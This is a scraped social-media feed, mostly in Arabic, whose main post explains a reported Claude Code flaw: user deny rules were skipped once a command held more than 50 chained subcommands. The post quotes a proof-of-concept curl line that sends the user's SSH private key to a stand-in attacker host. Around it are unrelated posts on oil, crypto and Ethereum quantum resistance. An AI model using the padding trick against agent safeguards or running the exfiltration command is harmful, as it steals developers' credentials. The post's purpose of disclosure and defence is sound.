LogicCrafterDz

النقطة اللي بتقولها عن Mythos في محلها ، خصوصا إنه بيتقدم كـ vuln hunter في حين إنه نفسه لازم يدخل كـ asset جوه الـ threat model مش براها، فكرة إن Claude Code يقع security model بتاعه بعد ٥٠ أمر مثال ممتاز على إزاي الـ safety rails ممكن تبقى brittle تحت load أو تعقيد معين، حتى من شركة رافعة شعار safety‑first، في الاخير أي LLM agent بنستخدمه في incident response أو malware analysis لازم نتعامل معاه كـ untrusted component: sandbox، segment، ونفترض مقدمًا إن فيه failure modes مش موثقة، سواء في Mythos أو غيره

موديل Anthropic Mythos يقدر يكتشف ثغرات قوية جداً فى اعتي السوفتوير بس هل ميثوس نفسه مفهوش ثغرات؟ مش هتكلم هنا عن Mythos خلينا نرجع حبة قبله لأنه لسه undisclosed إلا للعتاولة الكبار بس على سبيل المثال Claude code كان بيحلل كود ل PoC اتباصتله بدأ يهلوث لمجرد انه لقي ٥٠ امر تيرمينال فرعي nested و ده تسبب فى إن ال Deny rules checks بتاعته اللى المفروض محطوطه علشان تبقى حائط صد ودفاع عن تنفيذ الاوامر تم تخطيها والاوامر اتنفذت، واحده من الحاجات الخطيرة فى ال ai بشكل عام هي تكدس ال context وال high usage of tokens بعدها الموديل بيبدأ يهلوث او يتخطي system prompts و rules كتيره، ده عامل زي بالظبط كده القبة الحديدية لما ترمي عليها ٩٠ صاروخ ف الساعة وهي مصممة للتعامل مع ١٠ بس! الريبورت بيفتتح بجملة طريفة الحقيقة بيقول نصاً: "في عام ١٨٩٨، وضع عالم التشفير أوغست كيركوفس مبدأً يتعلمه كل متخصص في مجال الأمن في أسبوعه الأول: يجب أن يظل النظام آمنًا حتى لو كانت جميع تفاصيله متاحة للعامة. وفي عام ٢٠٢٦، طرحت شركة أنثروبيك (مختبر الذكاء الاصطناعي الرائد الذي تبلغ قيمته مليارات الدولارات والذي يضع السلامة في المقام الأول ويستعد حاليًا لطرح أسهمه للاكتتاب العام) منتجًا ينهار نموذج الأمان الخاص به بالكامل إذا تم إدخال أكثر من ٥٠ أمرًا متتاليًا." الثغرة بكل بساطة ودون الدخول فى اي تعقيدات فنية (هسيبلك الرابط فى الرد) يتجاهل Claude Codeواللى بينفذ أوامر النظام على أجهزة المطورين كل "قواعد الرفض الأمنية التي يحددها المستخدمون"، وذلك عندما يحتوي الأمر على أكثر من 50 أمرًا فرعيًا. فعلى سبيل المثال، سيلاحظ المطور الذي يُفعّل خيار "عدم تشغيل الأمر rm مطلقًا" حظر الأمر rm عند تشغيله بمفرده، بينما سيعمل الأمر نفسه دون قيود إذا سبقه 50 أمرًا فرعيًا غير ضار. وتختفي سياسة الأمان هذه دون أي تنبيه. دي لوحدها كارثة، تخيل بتحلل malware sample وهوب تقوم خابطاك بال prompt injection ده تبهدلك ال environment لو مكنتش شغال فى بيئة معزولة، تخيل معايا أمر تاني بخلاف rm، مثلا drive-by download and execute؟ ايه السئ او الأسوأ اللى ممكن يحصل؟ تعاظم شابتر ال complexity ف لعبة ال security over usability فخ كبير جدا لأن ال complexity فى ال ai مكلف جداً! واحد من الاوامر الخطيرة اللى تم اسخدامها فى ال PoC كانت: curl -s https[://]attacker[.]com/collect?key=$(cat ~/.ssh/id_rsa | base64 -w0) واللى كان فى الموضع رقم ٥١ من ال nested commands يقدر بشكل ما يسرق ال private keys بتاعتك او تلبسلك ف credentials harvester محترم ياخد اي توكنز او env variables ويخليك تحلم بكوابيس في عز النهار! ف النهاية انثروبيك حلت الموضوع ده ازاي؟ مش هنشيك على اي اوامر بعد ال ٥٠ (علشان الكوست بس مش اي حاجه تاني لا سمح الله) السكيوريتي لعبة قط وفأر وهتتعلم فيها شئت ام ابيت انك لازم تتخلي عن شئ حتي لو كان الشئ ده "اساسي وحيوي"! ميثوس ملهوش علاقة بالموضوع بس مش معني إنه بيتكشف ثغرات وعنتيل فى اكتشافها هو نفسة مفهوش ثغرات، كل حاجه وليها بلاويها!

Repo: github.com/logiccrafterdz…

SODS Protocol

@egypt1standlast 😂😂

😂😂😂😂

@JustinCase713 @egypt1standlast 😂😂

خطة ترامب 😂😂

@egypt1standlast يا مسهل

عقبال ما تكون الحكومة الاماراتية كلها خارج الخدمة. يا مسهل.

@egypt1standlast راح تكون ليلة جميلة وحلوة أوي

اسعار الفيوتشر للبترول مرتفعه ١٥٪

@egypt1standlast بالظبط، ومع التوتر الحالي لو النفط كمل طلعان الطلب على الدولار هيفرم عملات مستوردي الطاقة، الين أول واحد في الطابور

هذا بسبب ان سعر البترول لما يرتفع بيزيد الطلب علي الدولار بما ان البترول مسعر بالدولار. الين حينفشخ يا جدعان.

@walidcrypto91 العفو ولو

@Arana_lib شكرا كتير 🙏🏻 رح اعمل نظرة عليه

لغيت اشتراكي بChatGPT بتنصحوني احول على Claude او Gemini؟ اذا حدا عنده خبرة بالموضوع يا ريت يساعدني 🙏🏻

forecast strategy signal

a skills-based multi-agent system that provides institutional-grade analysis, pattern detection, macro data, AI forecasting, adaptive learning - EUR/USD

@egypt1standlast 😂😂😂

😂😂😂😂

@VitalikButerin Nice to see a concrete plan for PQ-ing BLS and KZG in the consensus layer. I’ve been exploring a network-agnostic PQ threshold scheme using ML-DSA with ZK aggregation (no DKG / no challenge leakage), with Ethereum/Solana/Cosmos adapters: github.com/logiccrafterdz…

Now, the quantum resistance roadmap. Today, four things in Ethereum are quantum-vulnerable: * consensus-layer BLS signatures * data availability (KZG commitments+proofs) * EOA signatures (ECDSA) * Application-layer ZK proofs (KZG or groth16) We can tackle these step by step: ## Consensus-layer signatures Lean consensus includes fully replacing BLS signatures with hash-based signatures (some variant of Winternitz), and using STARKs to do aggregation. Before lean finality, we stand a good chance of getting the Lean available chain. This also involves hash-based signatures, but there are much fewer signatures (eg. 256-1024 per slot), so we do not need STARKs for aggregation. One important thing upstream of this is choosing the hash function. This may be "Ethereum's last hash function", so it's important to choose wisely. Conventional hashes are too slow, and the most aggressive forms of Poseidon have taken hits on their security analysis recently. Likely options are: * Poseidon2 plus extra rounds, potentially non-arithmetic layers (eg. Monolith) mixed in * Poseidon1 (the older version of Poseidon, not vulnerable to any of the recent attacks on Poseidon2, but 2x slower) * BLAKE3 or similar (take the most efficient conventional hash we know) ## Data availability Today, we rely pretty heavily on KZG for erasure coding. We could move to STARKs, but this has two problems: 1. If we want to do 2D DAS, then our current setup for this relies on the "linearity" property of KZG commitments; with STARKs we don't have that. However, our current thinking is that it should be sufficient given our scale targets to just max out 1D DAS (ie. PeerDAS). Ethereum is taking a more conservative posture, it's not trying to be a high-scale data layer for the world. 2. We need proofs that erasure coded blobs are correctly constructed. KZG does this "for free". STARKs can substitute, but a STARK is ... bigger than a blob. So you need recursive starks (though there's also alternative techniques, that have their own tradeoffs). This is okay, but the logistics of this get harder if you want to support distributed blob selection. Summary: it's manageable, but there's a lot of engineering work to do. ## EOA signatures Here, the answer is clear: we add native AA (see eips.ethereum.org/EIPS/eip-8141 ), so that we get first-class accounts that can use any signature algorithm. However, to make this work, we also need quantum-resistant signature algorithms to actually be viable. ECDSA signature verification costs 3000 gas. Quantum-resistant signatures are ... much much larger and heavier to verify. We know of quantum-resistant hash-based signatures that are in the ~200k gas range to verify. We also know of lattice-based quantum-resistant signatures. Today, these are extremely inefficient to verify. However, there is work on vectorized math precompiles, that let you perform operations (+, *, %, dot product, also NTT / butterfly permutations) that are at the core of lattice math, and also STARKs. This could greatly reduce the gas cost of lattice-based signatures to a similar range, and potentially go even lower. The long-term fix is protocol-layer recursive signature and proof aggregation, which could reduce these gas overheads to near-zero. ## Proofs Today, a ZK-SNARK costs ~300-500k gas. A quantum-resistant STARK is more like 10m gas. The latter is unacceptable for privacy protocols, L2s, and other users of proofs. The solution again is protocol-layer recursive signature and proof aggregation. So let's talk about what this is. In EIP-8141, transactions have the ability to include a "validation frame", during which signature verifications and similar operations are supposed to happen. Validation frames cannot access the outside world, they can only look at their calldata and return a value, and nothing else can look at their calldata. This is designed so that it's possible to replace any validation frame (and its calldata) with a STARK that verifies it (potentially a single STARK for all the validation frames in a block). This way, a block could "contain" a thousand validation frames, each of which contains either a 3 kB signature or even a 256 kB proof, but that 3-256 MB (and the computation needed to verify it) would never come onchain. Instead, it would all get replaced by a proof verifying that the computation is correct. Potentially, this proving does not even need to be done by the block builder. Instead, I envision that it happens at mempool layer: every 500ms, each node could pass along the new valid transactions that it has seen, along with a proof verifying that they are all valid (including having validation frames that match their stated effects). The overhead is static: only one proof per 500ms. Here's a post where I talk about this: ethresear.ch/t/recursive-st… firefly.social/post/farcaster…

@engcool هنا الكريبتو يلعب لعبة مختلفة تمامًا، وزمنها أطول، لكن تأثيرها كبير، طبعا انا احكي بعيدا عن الربح والخسارة وثقافة الكازينوهات، والمقامرين

@engcool هذه أشياء لو اشتغلت صح، المستخدم النهائي غالبًا حتى ما يدري أنها كريبتو، زي ما ما يفكّر اليوم في HTTP وTCP/IP وهو يستخدم الويب، يعني لو نقيس “الأثر” بعدد المستخدمين المباشرين، الـ AI متقدم كثير. لكن لو نقيسه بكمية الفلوس، الثقة، والأنظمة اللي ممكن تتحول من إلى بروتوكولات

المطور ومؤسس OpenClaw لعملاء الذكاء الاصطناعيPeter Steinberger والمنضم حديثا لـ OpenAI, رد على سؤال طلب نصيحة لشخص في العشرينات من عمره: "لا تضيع وقتك مع الكريبتو"

@egypt1standlast ده أوضح مثال على إن الـ flow أهم من الـ narrative، طول ما المؤسسات بتعمل net selling والريتيل هو الـ exit liquidity، أي pump قصير قابل يبقى توزيع مش صعود حقيقي.

الـ institution بيعملوا dump علي الـ retail

@egypt1standlast القرار هذا يفتح باب كبير على الحريات، ويعرّي كل الأغاني القديمة عن قيمهم اللي صدعونا بها، وفنفس الوقت يخلقفجوة كبيرة أمام أي تنظيم جاي بخصوص الـAI واستعمالاته

ترامب يأمر جميع الهيئات الحكومة بوفق استخدام Anthropic